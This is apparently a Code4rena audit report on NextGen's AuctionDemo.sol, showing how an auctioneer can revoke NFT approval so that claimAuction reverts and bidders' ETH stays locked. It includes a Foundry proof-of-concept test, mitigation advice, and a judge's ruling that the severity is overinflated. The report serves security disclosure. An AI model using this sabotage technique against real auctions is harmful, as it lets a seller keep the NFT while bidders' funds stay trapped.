NFT auction can be sabotaged in multiple ways, causing bidders' ETH to be permanently locked

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

Auction bidders lose all their bids permanently if 1) The owner of the auctioned NFT revokes the approval for the NFT or 2) The winner is a smart contract that rejects the ERC721 transfer.

Auction bidders temporarily lock their bids while claimAuction is not called by the winner or the admin.

Description

AuctionDemo.sol is an implementation of a highest-bidder auction for NFT's auctioned with MinterContract's built-in mintAndAuction mechanism. During the auction bidders can submit bids with participateToAuction. After the auction ends the highest bidder can call claimAuction to get the NFT and refund all other participants.

There are a few ways that auction participants can permanently lose their bids:

• If the winner or an admin does not call claimAuction then the rest of the bidders will not receive their bids back. There is no other bid refunding mechanism after the auction is over.
• If the winner is a smart contract that rejects the ERC721 safeTransfer in the onERC721Received hook then the bids will be permanently locked in the auction contract.
• (Most Severe) If the owner of the NFT does not approve the auction contract to spend the auctioned token, then the transfer will fail when calling claimAuction, thus both the winner and the bidders lose their ETH, while the auctioneer keeps their NFT.

Proof of Concept

The following Foundry test demonstrates the most severe vulnerability outlined above. The owner revokes the approval for the auctioned token, thus keeping their NFT. All bids are permanently lost inside the auction contract.

To run the PoC within the contest repo:

1. Install Foundry
2. Initialize a Forge project by running forge init in the root directory of the contest repo.
3. Replace the contents of the generated foundry.toml configuration file with:

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

4. Create a new file at the path test/AuctionSabotagePoC.t.sol and paste the contents of the PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";

contract AuctionSabotagePoC is Test {
    address constant AUCTIONEER = address(0x1111);
    address constant PARTICIPANT_A = address(0xaaaa);
    address constant PARTICIPANT_B = address(0xbbbb);

    NextGenAdmins admins;
    NextGenCore gencore;
    NextGenMinterContract minter;
    auctionDemo auction;
    NextGenRandomizerNXT randomizer;

    function setUp() public {
        vm.deal(PARTICIPANT_A, 1000 ether);
        vm.deal(PARTICIPANT_B, 1000 ether);

        admins = new NextGenAdmins();
        gencore = new NextGenCore("Collection", "NFT", address(admins));
        minter = new NextGenMinterContract(address(gencore), address(0xdead), address(admins));
        randomPool randoms = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(gencore));

        gencore.addMinterContract(address(minter));
        gencore.addRandomizer(1, address(randomizer));

        auction = new auctionDemo(address(minter), address(gencore), address(admins));

        gencore.createCollection("", "", "", "", "", "", "", new string[](0));
        uint256 collectionID = 1;

        gencore.setCollectionData(collectionID, address(0), 10_000, 10_000, 1 days);
        
        minter.setCollectionCosts(
            collectionID, // uint256 _collectionID,
            1 ether, // uint256 _collectionMintCost,
            1 ether, // uint256 _collectionEndMintCost,
            0, // uint256 _rate,
            60, // uint256 _timePeriod,
            2, // uint8 _salesOption,
            address(0) // address _delAddress
        );

        minter.setCollectionPhases(
            collectionID, // uint256 _collectionID,
            1e6, // uint256 _allowlistStartTime,
            1e6, // uint256 _allowlistEndTime,
            1e6, // uint256 _publicStartTime,
            2e6, // uint256 _publicEndTime,
            0 // bytes32 _merkleRoot
        );
    }

    function test_ActioneerSabotages() public {
        // AUCTIONEER mints and auctions NFT 
        vm.warp(1e6);
        uint256 auctionEndTime = 1e6 + 1 hours;
        minter.mintAndAuction(AUCTIONEER, "", 0, 1, auctionEndTime);
        uint256 tokenId = 10000000000;

        vm.prank(AUCTIONEER);
        gencore.approve(address(auction), tokenId);

        vm.prank(PARTICIPANT_A);
        auction.participateToAuction{value: 1 ether}(tokenId);

        vm.prank(PARTICIPANT_B);
        auction.participateToAuction{value: 2 ether}(tokenId);

        vm.prank(PARTICIPANT_A);
        auction.participateToAuction{value: 3 ether}(tokenId);

        // PARTICIPANT_A wins auction and wants to claim.
        vm.warp(auctionEndTime + 1);

        // AUCTIONEER revokes approval
        vm.prank(AUCTIONEER);
        gencore.approve(address(0), tokenId);

        // PARTICIPANT_A can't claim rewards.
        vm.prank(PARTICIPANT_A);
        vm.expectRevert("ERC721: caller is not token owner or approved");
        auction.claimAuction(tokenId);

        // PARTICIPANT_A and PARTICIPANT_B's ETH is permanently locked.
        // AUCTIONEER keeps their NFT
    }
}

5. Run the PoC with forge test --mc AuctionSabotagePoC
6. Observe that calling claimAuction reverts with "ERC721: caller is not token owner or approved"

Tools Used

Manual Review, Foundry testing

Recommended Mitigation Steps

First, there is a design flaw in the auction contract. The logic should be changed such that the NFT must be transferred to the auction contract before the auction starts. When the auction contract custodies the auctioned NFT then the owner cannot sabotage by revoking approval.

Second, bidders must be given another way to get their bids back if they do not win. Implement a function refundBid which can be called after the auction ends. The function will refund a bidder if they are not the winner. In this way non-winners need not wait until claimAuction is called before receiving their bids back.

Assessed type

Rug-Pull

[c4-pre-sort]

141345 marked the issue as duplicate of #245

[c4-pre-sort]

141345 marked the issue as not a duplicate

[c4-pre-sort]

141345 marked the issue as duplicate of #364

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Overinflated severity